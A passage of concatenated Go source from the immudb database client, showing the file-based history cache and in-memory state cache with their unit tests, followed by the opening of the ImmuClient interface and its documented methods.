[]byte(fmt.Sprintf("hash%d", i)) err = fc.Set("test", db, &schema.ImmutableState{TxHash: hash}) require.NoError(t, err) st, err := fc.Get("test", db) require.NoError(t, err) require.Equal(t, hash, st.TxHash) } for i := 0; i < 1000; i++ { db := fmt.Sprintf("db%d", i) hash := []byte(fmt.Sprintf("hash%d", i)) st, err := fc.Get("test", db) require.NoError(t, err) require.Equal(t, hash, st.TxHash) } } ================================================ FILE: pkg/client/cache/history_file_cache.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cache import ( "encoding/base64" "fmt" "io/ioutil" "os" "path/filepath" "strings" "github.com/codenotary/immudb/pkg/api/schema" "github.com/golang/protobuf/proto" ) type historyFileCache struct { dir string } // NewHistoryFileCache returns a new history file cache func NewHistoryFileCache(dir string) HistoryCache { return &historyFileCache{dir: dir} } func (history *historyFileCache) Get(serverUUID, db string) (*schema.ImmutableState, error) { statesDir := filepath.Join(history.dir, serverUUID) statesFileInfos, err := history.getStatesFileInfos(statesDir) if err != nil { return nil, err } if len(statesFileInfos) == 0 { return nil, nil } prevStateFileName := statesFileInfos[len(statesFileInfos)-1].Name() prevStateFilePath := filepath.Join(statesDir, prevStateFileName) return history.unmarshalRoot(prevStateFilePath, db) } func (history *historyFileCache) Walk( serverUUID string, databasename string, f func(*schema.ImmutableState) interface{}, ) ([]interface{}, error) { statesDir := filepath.Join(history.dir, serverUUID) statesFileInfos, err := history.getStatesFileInfos(statesDir) if err != nil { return nil, err } if len(statesFileInfos) == 0 { return nil, nil } results := make([]interface{}, 0, len(statesFileInfos)) for _, stateFileInfo := range statesFileInfos { stateFilePath := filepath.Join(statesDir, stateFileInfo.Name()) state, err := history.unmarshalRoot(stateFilePath, databasename) if err != nil { return nil, err } results = append(results, f(state)) } return results, nil } func (history *historyFileCache) Set(serverUUID, db string, state *schema.ImmutableState) error { statesDir := filepath.Join(history.dir, serverUUID) if err := os.MkdirAll(statesDir, os.ModePerm); err != nil { return fmt.Errorf("error ensuring states dir %s exists: %v", statesDir, err) } stateFilePath := filepath.Join(statesDir, ".state") //at run first the file does not exist input, _ := ioutil.ReadFile(stateFilePath) lines := strings.Split(string(input), "\n") raw, err := proto.Marshal(state) if err != nil { return err } newState := db + ":" + base64.StdEncoding.EncodeToString(raw) + "\n" var exists bool for i, line := range lines { if strings.Contains(line, db+":") { exists = true lines[i] = newState } } if !exists { lines = append(lines, newState) } output := strings.Join(lines, "\n") if err = ioutil.WriteFile(stateFilePath, []byte(output), 0644); err != nil { return fmt.Errorf("error writing state %d to file %s: %v", state.TxId, stateFilePath, err) } return nil } func (history *historyFileCache) getStatesFileInfos(dir string) ([]os.FileInfo, error) { if err := os.MkdirAll(dir, os.ModePerm); err != nil { return nil, fmt.Errorf("error ensuring states dir %s exists: %v", dir, err) } statesFileInfos, err := ioutil.ReadDir(dir) if err != nil { return nil, fmt.Errorf("error reading states dir %s: %v", dir, err) } return statesFileInfos, nil } func (history *historyFileCache) unmarshalRoot(fpath string, db string) (*schema.ImmutableState, error) { state := &schema.ImmutableState{} raw, err := ioutil.ReadFile(fpath) if err != nil { return nil, fmt.Errorf("error reading state from %s: %v", fpath, err) } lines := strings.Split(string(raw), "\n") for _, line := range lines { if strings.Contains(line, db+":") { r := strings.Split(line, ":") if r[1] == "" { return nil, ErrPrevStateNotFound } oldRoot, err := base64.StdEncoding.DecodeString(r[1]) if err != nil { return nil, ErrPrevStateNotFound } if err = proto.Unmarshal(oldRoot, state); err != nil { return nil, fmt.Errorf("error unmarshaling state from %s: %v", fpath, err) } return state, nil } } return nil, nil } func (history *historyFileCache) Lock(serverUUID string) (err error) { return fmt.Errorf("not implemented") } func (history *historyFileCache) Unlock() (err error) { return fmt.Errorf("not implemented") } func (history *historyFileCache) ServerIdentityCheck(serverIdentity, serverUUID string) error { return validateServerIdentityInFile( serverIdentity, serverUUID, history.dir, ) } ================================================ FILE: pkg/client/cache/history_file_cache_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cache import ( "encoding/base64" "io/ioutil" "log" "os" "path/filepath" "testing" "github.com/golang/protobuf/proto" "github.com/stretchr/testify/require" "github.com/codenotary/immudb/pkg/api/schema" ) func TestNewHistoryFileCache(t *testing.T) { dir := t.TempDir() fc := NewHistoryFileCache(dir) require.IsType(t, &historyFileCache{}, fc) require.Error(t, fc.Lock("foo")) require.Error(t, fc.Unlock()) err := fc.ServerIdentityCheck("identity1", "uuid2") require.NoError(t, err) } func TestNewHistoryFileCacheSet(t *testing.T) { dir := t.TempDir() fc := NewHistoryFileCache(dir) err := fc.Set("uuid", "dbName", &schema.ImmutableState{TxId: 1, TxHash: []byte{1}}) require.NoError(t, err) err = fc.Set("uuid", "dbName", &schema.ImmutableState{TxId: 2, TxHash: []byte{2}}) require.NoError(t, err) root, err := fc.Get("uuid", "dbName") require.NoError(t, err) require.IsType(t, &schema.ImmutableState{}, root) _, err = fc.Get("uuid1", "dbName") require.NoError(t, err) } func TestNewHistoryFileCacheGet(t *testing.T) { dir := t.TempDir() fc := NewHistoryFileCache(dir) root, err := fc.Get("uuid", "dbName") require.NoError(t, err) require.IsType(t, &schema.ImmutableState{}, root) } func TestNewHistoryFileCacheWalk(t *testing.T) { dir := t.TempDir() fc := NewHistoryFileCache(dir) iface, err := fc.Walk("uuid", "dbName", func(root *schema.ImmutableState) interface{} { return nil }) require.NoError(t, err) require.IsType(t, []interface{}{interface{}(nil)}, iface) err = fc.Set("uuid", "dbName", &schema.ImmutableState{ TxId: 0, TxHash: []byte(`hash`), Signature: nil, }) require.NoError(t, err) iface, err = fc.Walk("uuid", "dbName", func(root *schema.ImmutableState) interface{} { return nil }) require.NoError(t, err) require.IsType(t, []interface{}{interface{}(nil)}, iface) } func TestHistoryFileCache_SetError(t *testing.T) { dir := t.TempDir() fc := NewHistoryFileCache(dir) err := fc.Set("uuid", "dbName", nil) require.ErrorIs(t, err, proto.ErrNil) } func TestHistoryFileCache_GetError(t *testing.T) { dir := t.TempDir() fc := NewHistoryFileCache(dir) // create a dummy file so that the cache can't create the directory // automatically err := ioutil.WriteFile(filepath.Join(dir, "exists"), []byte("data"), 0644) require.NoError(t, err) _, err = fc.Get("exists", "dbName") require.ErrorContains(t, err, "exists") } func TestHistoryFileCache_SetMissingFolder(t *testing.T) { dir := "/notExists" fc := NewHistoryFileCache(dir) defer os.RemoveAll(dir) err := fc.Set("uuid", "dbName", nil) require.ErrorContains(t, err, "error ensuring states dir") } func TestHistoryFileCache_WalkFolderNotExistsCreated(t *testing.T) { dir := t.TempDir() notExists := filepath.Join(dir, "not-exists") fc := NewHistoryFileCache(notExists) _, err := fc.Walk("uuid", "dbName", func(root *schema.ImmutableState) interface{} { return nil }) require.NoError(t, err) } func TestHistoryFileCache_getStatesFileInfosError(t *testing.T) { dir := t.TempDir() notExists := filepath.Join(dir, "does-not-exist") fc := &historyFileCache{dir: notExists} _, err := fc.getStatesFileInfos(dir) require.NoError(t, err) } func TestHistoryFileCache_unmarshalRootErr(t *testing.T) { fc := &historyFileCache{} _, err := fc.unmarshalRoot("path", "db") require.ErrorContains(t, err, "error reading state from") } func TestHistoryFileCache_unmarshalRootSingleLineErr(t *testing.T) { dbName := "dbt" tmpFile, err := ioutil.TempFile(os.TempDir(), "file-state") require.NoError(t, err, "Cannot create temporary file") defer os.Remove(tmpFile.Name()) if _, err = tmpFile.Write([]byte(dbName + ":")); err != nil { log.Fatal("Failed to write to temporary file", err) } fc := &historyFileCache{} _, err = fc.unmarshalRoot(tmpFile.Name(), dbName) require.ErrorIs(t, err, ErrPrevStateNotFound) } func TestHistoryFileCache_unmarshalRootUnableToDecodeErr(t *testing.T) { dbName := "dbt" tmpFile, err := ioutil.TempFile(os.TempDir(), "file-state") require.NoError(t, err, "Cannot create temporary file") defer os.Remove(tmpFile.Name()) if _, err = tmpFile.Write([]byte(dbName + ":firstLine")); err != nil { log.Fatal("Failed to write to temporary file", err) } fc := &historyFileCache{} _, err = fc.unmarshalRoot(tmpFile.Name(), dbName) require.ErrorIs(t, err, ErrPrevStateNotFound) } func TestHistoryFileCache_unmarshalRootUnmarshalErr(t *testing.T) { dbName := "dbt" tmpFile, err := ioutil.TempFile(os.TempDir(), "file-state") require.NoError(t, err, "Cannot create temporary file") defer os.Remove(tmpFile.Name()) if _, err = tmpFile.Write([]byte(dbName + ":" + base64.StdEncoding.EncodeToString([]byte("wrong-content")))); err != nil { log.Fatal("Failed to write to temporary file", err) } fc := &historyFileCache{} _, err = fc.unmarshalRoot(tmpFile.Name(), dbName) require.ErrorContains(t, err, "error unmarshaling state from") } func TestHistoryFileCache_unmarshalRootEmptyFile(t *testing.T) { tmpFile, err := ioutil.TempFile(os.TempDir(), "file-state") require.NoError(t, err, "Cannot create temporary file") defer os.Remove(tmpFile.Name()) text := []byte("") if _, err = tmpFile.Write(text); err != nil { log.Fatal("Failed to write to temporary file", err) } fc := &historyFileCache{} state, err := fc.unmarshalRoot(tmpFile.Name(), "db") require.NoError(t, err) require.Nil(t, state) } ================================================ FILE: pkg/client/cache/inmemory_cache.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cache import ( "fmt" "sync" "github.com/codenotary/immudb/pkg/api/schema" ) type inMemoryCache struct { serverUUID string states map[string]map[string]*schema.ImmutableState identities map[string]string lock sync.RWMutex } // NewInMemoryCache returns a new in-memory cache func NewInMemoryCache() Cache { return &inMemoryCache{ states: map[string]map[string]*schema.ImmutableState{}, identities: map[string]string{}, } } func (imc *inMemoryCache) Get(serverUUID, db string) (*schema.ImmutableState, error) { serverStates, ok := imc.states[serverUUID] if !ok { return nil, fmt.Errorf("no roots found for server %s", serverUUID) } state, ok := serverStates[db] if !ok { return nil, fmt.Errorf( "no state found for server %s and database %s", serverUUID, db) } return state, nil } func (imc *inMemoryCache) Set(serverUUID, db string, state *schema.ImmutableState) error { imc.lock.Lock() defer imc.lock.Unlock() if _, ok := imc.states[serverUUID]; !ok { imc.states[serverUUID] = map[string]*schema.ImmutableState{db: state} return nil } imc.states[serverUUID][db] = state return nil } func (imc *inMemoryCache) Lock(serverUUID string) (err error) { return ErrNotImplemented } func (imc *inMemoryCache) Unlock() (err error) { return ErrNotImplemented } func (imc *inMemoryCache) ServerIdentityCheck(serverIdentity, serverUUID string) error { imc.lock.Lock() defer imc.lock.Unlock() if previousUUID, ok := imc.identities[serverIdentity]; ok { // Server with this identity was seen before, ensure it did not change if previousUUID != serverUUID { return ErrServerIdentityValidationFailed } return nil } imc.identities[serverIdentity] = serverUUID return nil } ================================================ FILE: pkg/client/cache/inmemory_cache_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cache import ( "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" ) func TestInMemoryCache(t *testing.T) { imc := NewInMemoryCache() require.IsType(t, &inMemoryCache{}, imc) err := imc.Set("server1", "db11", &schema.ImmutableState{TxId: 11, TxHash: []byte{11}}) require.NoError(t, err) err = imc.Set("server1", "db12", &schema.ImmutableState{TxId: 12, TxHash: []byte{12}}) require.NoError(t, err) err = imc.Set("server2", "db21", &schema.ImmutableState{TxId: 21, TxHash: []byte{21}}) require.NoError(t, err) root, err := imc.Get("server1", "db11") require.NoError(t, err) require.Equal(t, uint64(11), root.GetTxId()) require.Equal(t, []byte{11}, root.GetTxHash()) root, err = imc.Get("server1", "db12") require.NoError(t, err) require.Equal(t, uint64(12), root.GetTxId()) require.Equal(t, []byte{12}, root.GetTxHash()) root, err = imc.Get("server2", "db21") require.NoError(t, err) require.Equal(t, uint64(21), root.GetTxId()) require.Equal(t, []byte{21}, root.GetTxHash()) _, err = imc.Get("unknownServer", "db11") require.ErrorContains(t, err, "no roots found for server") _, err = imc.Get("server1", "unknownDb") require.ErrorContains(t, err, "no state found for server") err = imc.Lock("server1") require.ErrorIs(t, err, ErrNotImplemented) err = imc.Unlock() require.ErrorIs(t, err, ErrNotImplemented) err = imc.ServerIdentityCheck("server1", "identity1") require.NoError(t, err) err = imc.ServerIdentityCheck("server1", "identity2") require.ErrorIs(t, err, ErrServerIdentityValidationFailed) err = imc.ServerIdentityCheck("server1", "identity1") require.NoError(t, err) } ================================================ FILE: pkg/client/client.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // This package contains the official implementation of the go client for the immudb database. // // Please refer to documentation at https://docs.immudb.io for more details on how to use this SDK. package client import ( "context" "crypto/ecdsa" "crypto/sha256" "crypto/tls" "crypto/x509" "fmt" "io" "io/ioutil" "os" "time" "github.com/golang/protobuf/ptypes/empty" grpc_middleware "github.com/grpc-ecosystem/go-grpc-middleware" "github.com/grpc-ecosystem/grpc-gateway/runtime" "google.golang.org/grpc" "google.golang.org/grpc/credentials" "google.golang.org/grpc/grpclog" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client/cache" "github.com/codenotary/immudb/pkg/client/errors" "github.com/codenotary/immudb/pkg/client/state" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/signer" "github.com/codenotary/immudb/pkg/stream" ) // ImmuClient is an interface that represents immudb client. // Instances returned from NewClient or NewImmuClient methods implement this interface. type ImmuClient interface { // Disconnect closes the current connection to the server. // // Deprecated: use NewClient and CloseSession instead. Disconnect() error // IsConnected checks whether the client is connected to the server. IsConnected() bool // WaitForHealthCheck waits for up to Options.HealthCheckRetries seconds to // get a successful HealthCheck response from the server. // // Deprecated: grpc retry mechanism can be implemented with WithConnectParams dialOption. WaitForHealthCheck(ctx context.Context) error // Get server health information. // // Deprecated: use ServerInfo. HealthCheck(ctx context.Context) error // Connect establishes new connection to the server. // // Deprecated: use NewClient and OpenSession instead. Connect(ctx context.Context) (clientConn *grpc.ClientConn, err error) // Login authenticates the user in an established connection. // // Deprecated: use NewClient and OpenSession instead. Login(ctx context.Context, user []byte, pass []byte) (*schema.LoginResponse, error) // Logout logs out the user. // // Deprecated: use CloseSession. Logout(ctx context.Context) error // OpenSession establishes a new session with the server, this method also opens new // connection to the server. // // Note: it is important to call CloseSession() once the session is no longer needed. OpenSession(ctx context.Context, user []byte, pass []byte, database string) (err error) // CloseSession closes the current session and the connection to the server, // this call also allows the server to free up all resources allocated for a session // (without explicit call, the server will only free resources after session inactivity timeout). CloseSession(ctx context.Context) error GetSessionID() string // CreateUser creates new user with given credentials and permission. // // Required user permission is SysAdmin or database Admin. // // SysAdmin user can create users with access to any database. // // Admin user can only create users with access to databases where // the user has admin permissions. // // The permission argument is the permission level and can be one of those values: // - 1 (auth.PermissionR) - read-only access // - 2 (auth.PermissionRW) - read-write access // - 254 (auth.PermissionAdmin) - read-write with admin rights CreateUser(ctx context.Context, user []byte, pass []byte, permission uint32, databasename string) error // ListUser returns a list of database users. // // This call requires Admin or SysAdmin permission level. // // When called as a SysAdmin user, all users in the database are returned. // When called as an Admin user, users for currently selected database are returned. ListUsers(ctx context.Context) (*schema.UserList, error) // ChangePassword changes password for existing user. // // This call requires Admin or SysAdmin permission level. // // The oldPass argument is only necessary when changing SysAdmin user's password. ChangePassword(ctx context.Context, user []byte, oldPass []byte, newPass []byte) error // ChangePermission grants or revokes permission to one database for given user. // // This call requires SysAdmin or admin permission to the database where we grant permissions. // // The permission argument is used when granting permission and can be one of those values: // - 1 (auth.PermissionR) - read-only access // - 2 (auth.PermissionRW) - read-write access // - 254 (auth.PermissionAdmin) - read-write with admin rights // // The following restrictions are applied: // - the user can not change permission for himself // - can not change permissions of the SysAdmin user // - the user must be active // - when the user already had permission to the database, it is overwritten // by the new permission (even if the user had higher permission before) ChangePermission(ctx context.Context, action schema.PermissionAction, username string, database string, permissions uint32) error // UpdateAuthConfig is no longer supported. // // Deprecated: will be removed in future versions. UpdateAuthConfig(ctx context.Context, kind auth.Kind) error // UpdateMTLSConfig is no longer supported. // // Deprecated: will be removed in future versions. UpdateMTLSConfig(ctx context.Context, enabled bool) error // WithOptions sets up client options for the instance. WithOptions(options *Options) *immuClient // WithLogger sets up custom client logger. WithLogger(logger logger.Logger) *immuClient // WithStateService sets up the StateService object. WithStateService(rs state.StateService) *immuClient // Deprecated: will be removed in future versions. WithClientConn(clientConn *grpc.ClientConn) *immuClient // Deprecated: will be removed in future versions. WithServiceClient(serviceClient schema.ImmuServiceClient) *immuClient // Deprecated: will be removed in future versions. WithTokenService(tokenService tokenservice.TokenService) *immuClient // WithServerSigningPubKey sets up public key for server's state validation. WithServerSigningPubKey(serverSigningPubKey *ecdsa.PublicKey) *immuClient // WithStreamServiceFactory sets up stream factory for the client. WithStreamServiceFactory(ssf stream.ServiceFactory) *immuClient // GetServiceClient returns low-level GRPC service client. GetServiceClient() schema.ImmuServiceClient // GetOptions returns current client options. GetOptions() *Options // SetupDialOptions extracts grpc dial options from provided client options. SetupDialOptions(options *Options) []grpc.DialOption // Return list of databases the user has access to. // // Deprecated: Use DatabaseListV2. DatabaseList(ctx context.Context) (*schema.DatabaseListResponse, error) // DatabaseListV2 returns a list of databases the user has access to. DatabaseListV2(ctx context.Context) (*schema.DatabaseListResponseV2, error) // CreateDatabase creates new database. // This call requires SysAdmin permission level. // // Deprecated: Use CreateDatabaseV2. CreateDatabase(ctx context.Context, d *schema.DatabaseSettings) error // CreateDatabaseV2 creates a new database. // This call requires SysAdmin permission level. CreateDatabaseV2(ctx context.Context, database string, settings *schema.DatabaseNullableSettings) (*schema.CreateDatabaseResponse, error) // LoadDatabase loads database on the server. A database is not loaded // if it has AutoLoad setting set to false or if it failed to load during // immudb startup. // // This call requires SysAdmin permission level or admin permission to the database. LoadDatabase(ctx context.Context, r *schema.LoadDatabaseRequest) (*schema.LoadDatabaseResponse, error) // UnloadDatabase unloads database on the server. Such database becomes inaccessible // by the client and server frees internal resources allocated for that database. // // This call requires SysAdmin permission level or admin permission to the database. UnloadDatabase(ctx context.Context, r *schema.UnloadDatabaseRequest) (*schema.UnloadDatabaseResponse, error) // DeleteDatabase removes an unloaded database. // This also removes locally stored files used by the database. // // This call requires SysAdmin permission level or admin permission to the database. DeleteDatabase(ctx context.Context, r *schema.DeleteDatabaseRequest) (*schema.DeleteDatabaseResponse, error) // UseDatabase changes the currently selected database. // // This call requires at least read permission level for the target database. UseDatabase(ctx context.Context, d *schema.Database) (*schema.UseDatabaseReply, error) // UpdateDatabase updates database settings. // // Deprecated: Use UpdateDatabaseV2. UpdateDatabase(ctx context.Context, settings *schema.DatabaseSettings) error // UpdateDatabaseV2 updates database settings. // // Settings can be set selectively - values not set in the settings object // will not be updated. // // The returned value is the list of settings after the update. // // Settings other than those related to replication will only be applied after // immudb restart or unload/load cycle of the database. UpdateDatabaseV2(ctx context.Context, database string, settings *schema.DatabaseNullableSettings) (*schema.UpdateDatabaseResponse, error) // Deprecated: Use GetDatabaseSettingsV2. GetDatabaseSettings(ctx context.Context) (*schema.DatabaseSettings, error) // GetDatabaseSettingsV2 retrieves current persisted database settings. GetDatabaseSettingsV2(ctx context.Context) (*schema.DatabaseSettingsResponse, error) // SetActiveUser activates or deactivates a user. SetActiveUser(ctx context.Context, u *schema.SetActiveUserRequest) error // FlushIndex requests a flush operation from the database. // This call requires SysAdmin or Admin permission to given database. // // The cleanupPercentage value is the amount of index nodes data in percent // that will be scanned in order to free up unused disk space. FlushIndex(ctx context.Context, cleanupPercentage float32, synced bool) (*schema.FlushIndexResponse, error) // CompactIndex perform full database compaction. // This call requires SysAdmin or Admin permission to given database. // // Note: Full compaction will greatly affect the performance of the database. // It should also be called only when there's a minimal database activity, // if full compaction collides with a read or write operation, it will be aborted // and may require retry of the whole operation. For that reason it is preferred // to periodically call FlushIndex with a small value of cleanupPercentage or set the // cleanupPercentage database option. CompactIndex(ctx context.Context, req *empty.Empty) error // ServerInfo returns information about the server instance. ServerInfo(ctx context.Context, req *schema.ServerInfoRequest) (*schema.ServerInfoResponse, error) // Health returns Health information about the current database. // // Requires read access to the database. Health(ctx context.Context) (*schema.DatabaseHealthResponse, error) // CurrentState returns the current state value from the server for the current database. CurrentState(ctx context.Context) (*schema.ImmutableState, error) // Set commits a change of a value for a single key. Set(ctx context.Context, key []byte, value []byte) (*schema.TxHeader, error) // VerifiedSet commits a change of a value for a single key. // // This function also requests a server-generated proof, verifies the entry in the transaction // using the proof and verifies the signature of the signed state. // If verification does not succeed the store.ErrCorruptedData error is returned. VerifiedSet(ctx context.Context, key []byte, value []byte) (*schema.TxHeader, error) // ExpirableSet commits a change of a value for a single key and sets up the expiration // time for that value after which the value will no longer be retrievable. ExpirableSet(ctx context.Context, key []byte, value []byte, expiresAt time.Time) (*schema.TxHeader, error) // Get reads a single value for given key. Get(ctx context.Context, key []byte, opts ...GetOption) (*schema.Entry, error) // GetSince reads a single value for given key assuming that at least transaction `tx` was indexed. // For more information about getting value with sinceTx constraint see the SinceTx get option. GetSince(ctx context.Context, key []byte, tx uint64) (*schema.Entry, error) // GetAt reads a single value that was modified at a specific transaction. // For more information about getting value from specific revision see the AtTx get option. GetAt(ctx context.Context, key []byte, tx uint64) (*schema.Entry, error) // GetAtRevision reads value for given key by its revision. // For more information about the revisions see the AtRevision get option. GetAtRevision(ctx context.Context, key []byte, rev int64) (*schema.Entry, error) // Gets reads a single value for given key with additional server-provided proof validation. VerifiedGet(ctx context.Context, key []byte, opts ...GetOption) (*schema.Entry, error) // VerifiedGetSince reads a single value for given key assuming that at least transaction `tx` was indexed. // For more information about getting value with sinceTx constraint see the SinceTx get option. // // This function also requests a server-generated proof, verifies the entry in the transaction // using the proof and verifies the signature of the signed state. // If verification does not succeed the store.ErrCorruptedData error is returned. VerifiedGetSince(ctx context.Context, key []byte, tx uint64) (*schema.Entry, error) // VerifiedGetAt reads a single value that was modified at a specific transaction. // For more information about getting value from specific revision see the AtTx get option. // // This function also requests a server-generated proof, verifies the entry in the transaction // using the proof and verifies the signature of the signed state. // If verification does not succeed the store.ErrCorruptedData error is returned. VerifiedGetAt(ctx context.Context, key []byte, tx uint64) (*schema.Entry, error) // VerifiedGetAtRevision reads value for given key by its revision. // For more information about the revisions see the AtRevision get option. // // This function also requests a server-generated proof, verifies the entry in the transaction // using the proof and verifies the signature of the signed state. // If verification does not succeed the store.ErrCorruptedData error is returned. VerifiedGetAtRevision(ctx context.Context, key []byte, rev int64) (*schema.Entry, error) // VerifiableGet reads value for a given key, and returs internal data used to perform // the verification. // // You can use this function if you want to have visibility on the verification data VerifiableGet(ctx context.Context, in *schema.VerifiableGetRequest, opts ...grpc.CallOption) (*schema.VerifiableEntry, error) // History returns history for a single key. History(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) // ZAdd adds a new entry to sorted set. // New entry is a reference to some other key's value with additional score used for ordering set members. ZAdd(ctx context.Context, set []byte, score float64, key []byte) (*schema.TxHeader, error) // VerifiedZAdd adds a new entry to sorted set. // New entry is a reference to some other key's value // with additional score used for ordering set members. // // This function also requests a server-generated proof, verifies the entry in the transaction // using the proof and verifies the signature of the signed state. // If verification does not succeed the store.ErrCorruptedData error is returned. VerifiedZAdd(ctx context.Context, set []byte, score float64, key []byte) (*schema.TxHeader, error) // ZAddAt adds a new entry to sorted set. // New entry is a reference to some other key's value at a specific transaction // with additional score used for ordering set members. ZAddAt(ctx context.Context, set []byte, score float64, key []byte, atTx uint64) (*schema.TxHeader, error) // VerifiedZAddAt adds a new entry to sorted set. // New entry is a reference to some other key's value at a specific transaction // with additional score used for ordering set members. // // This function also requests a server-generated proof, verifies the entry in the transaction // using the proof and verifies the signature of the signed state. // If verification does not succeed the store.ErrCorruptedData error is returned. VerifiedZAddAt(ctx context.Context, set []byte, score float64, key []byte, atTx uint64) (*schema.TxHeader, error) // Scan iterates over the set of keys in a topological order. Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) // ZScan iterates over the elements of sorted set ordered by their score. ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) // TxByID retrieves all entries (in a raw, unprocessed form) for given transaction. // // Note: In order to read keys and values, it is necessary to parse returned entries // TxByIDWithSpec can be used to read already-parsed values TxByID(ctx context.Context, tx uint64) (*schema.Tx, error) // TxByID retrieves all entries (in a raw, unprocessed form) for given transaction // and performs verification of the server-provided proof for the whole transaction. VerifiedTxByID(ctx context.Context, tx uint64) (*schema.Tx, error) // TxByIDWithSpec retrieves entries from given transaction according to given spec. TxByIDWithSpec(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) // TxScan returns raw entries for a range of transactions. TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) // Count returns count of key-value entries with given prefix. // // Note: This feature is not implemented yet. Count(ctx context.Context, prefix []byte) (*schema.EntryCount, error) // Count returns count of all key-value entries. // // Note: This feature is not implemented yet. CountAll(ctx context.Context) (*schema.EntryCount, error) // SetAll sets multiple entries in a single transaction. SetAll(ctx context.Context, kvList *schema.SetRequest) (*schema.TxHeader, error) // GetAll retrieves multiple entries in a single call. GetAll(ctx context.Context, keys [][]byte) (*schema.Entries, error) // Delete performs a logical deletion for a list of keys marking them as deleted. Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) // ExecAll performs multiple write operations (values, references, sorted set entries) // in a single transaction. ExecAll(ctx context.Context, in *schema.ExecAllRequest) (*schema.TxHeader, error) // SetReference creates a reference to another key's value. // // Note: references can only be created to non-reference keys. SetReference(ctx context.Context, key []byte, referencedKey []byte) (*schema.TxHeader, error) // VerifiedSetReference creates a reference to another key's value and verifies server-provided // proof for the write. // // Note: references can only be created to non-reference keys. VerifiedSetReference(ctx context.Context, key []byte, referencedKey []byte) (*schema.TxHeader, error) // SetReference creates a reference to another key's value at a specific transaction. // // Note: references can only be created to non-reference keys. SetReferenceAt(ctx context.Context, key []byte, referencedKey []byte, atTx uint64) (*schema.TxHeader, error) // SetReference creates a reference to another key's value at a specific transaction and verifies server-provided // proof for the write. // // Note: references can only be created to non-reference keys. VerifiedSetReferenceAt(ctx context.Context, key []byte, referencedKey []byte, atTx uint64) (*schema.TxHeader, error) // Dump is currently not implemented. Dump(ctx context.Context, writer io.WriteSeeker) (int64, error) // StreamSet performs a write operation of a value for a single key retrieving key and value form io.Reader streams. StreamSet(ctx context.Context, kv []*stream.KeyValue) (*schema.TxHeader, error) // StreamGet retrieves a single entry for a key read from an io.Reader stream. StreamGet(ctx context.Context, k *schema.KeyRequest) (*schema.Entry, error) // StreamVerifiedSet performs a write operation of a value for a single key retrieving key and value form io.Reader streams // with additional verification of server-provided write proof. StreamVerifiedSet(ctx context.Context, kv []*stream.KeyValue) (*schema.TxHeader, error) // StreamVerifiedGet retrieves a single entry for a key read from an io.Reader stream // with additional verification of server-provided value proof. StreamVerifiedGet(ctx context.Context, k *schema.VerifiableGetRequest) (*schema.Entry, error) // StreamScan scans for keys with given prefix, using stream API to overcome limits of large keys and values. StreamScan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) // StreamZScan scans entries from given sorted set, using stream API to overcome limits of large keys and values. StreamZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) // StreamHistory returns a history of given key, using stream API to overcome limits of large keys and values. StreamHistory(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) // StreamExecAll performs an ExecAll operation (write operation for multiple data types in a single transaction) // using stream API to overcome limits of large keys and values. StreamExecAll(ctx context.Context, req *stream.ExecAllRequest) (*schema.TxHeader, error) // ExportTx retrieves serialized transaction object. ExportTx(ctx context.Context, req *schema.ExportTxRequest) (schema.ImmuService_ExportTxClient, error) // ReplicateTx sends a previously serialized transaction object replicating it on another database. ReplicateTx(ctx context.Context) (schema.ImmuService_ReplicateTxClient, error) // StreamExportTx provides a bidirectional endpoint for retrieving serialized transactions StreamExportTx(ctx context.Context, opts ...grpc.CallOption) (schema.ImmuService_StreamExportTxClient, error) // SQLExec performs a modifying SQL query within the transaction. // Such query does not return SQL result. SQLExec(ctx context.Context, sql string, params map[string]interface{}) (*schema.SQLExecResult, error) // SQLQuery performs a query (read-only) 